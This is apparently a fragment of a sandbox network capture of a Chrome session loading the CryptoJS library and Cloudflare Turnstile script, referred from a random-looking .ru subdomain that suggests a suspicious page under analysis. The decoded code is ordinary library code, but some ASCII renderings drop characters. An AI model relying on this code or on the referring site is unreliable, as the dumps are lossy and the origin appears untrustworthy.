{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f077fbfb8768c1e-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:15 UTC	416	IN	Data Raw: 37 39 37 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 797a!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 Data Ascii: alThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|f
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 Data Ascii: his);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{r
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 Data Ascii: &&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 Data Ascii: this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 Data Ascii: 0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f Data Ascii: teOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:functio
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 Data Ascii: 64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUV
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 Data Ascii: t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._has
2024-12-11 18:22:15 UTC	1369	IN	Data Raw: 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c Data Ascii: m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:16 UTC	653	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://18qdy4sm2g.lomidore.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:16 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f077fca1e054340-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:16 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: 